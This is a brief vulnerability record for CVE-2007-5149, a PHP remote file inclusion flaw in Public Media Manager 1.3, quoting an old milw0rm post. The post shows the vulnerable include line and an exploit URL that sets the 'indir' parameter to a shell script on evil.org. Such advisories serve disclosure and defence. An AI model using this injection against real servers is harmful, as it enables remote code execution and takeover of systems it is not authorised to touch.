CVE-2007-5149: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in NewsCMS/news/newstopicinc.php in North Country Public Radio Public Media Manager PMM 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the indir parameter...

public media manager 1.3 - Remote File Inclusion

public media manager 1.3 - Remote File Inclusion f0und bY 0in Download:http://pmm-cms.sourceforge.net/ BUG: news/newstopicinc.php:2:if !empty$indir includeonce $indir."/newsdb/config.php"; Expl0it: http://x.com/path/news/newstopicinc.php?indir=http://evil.org/shell.txt milw0rm.com 2007-09-28...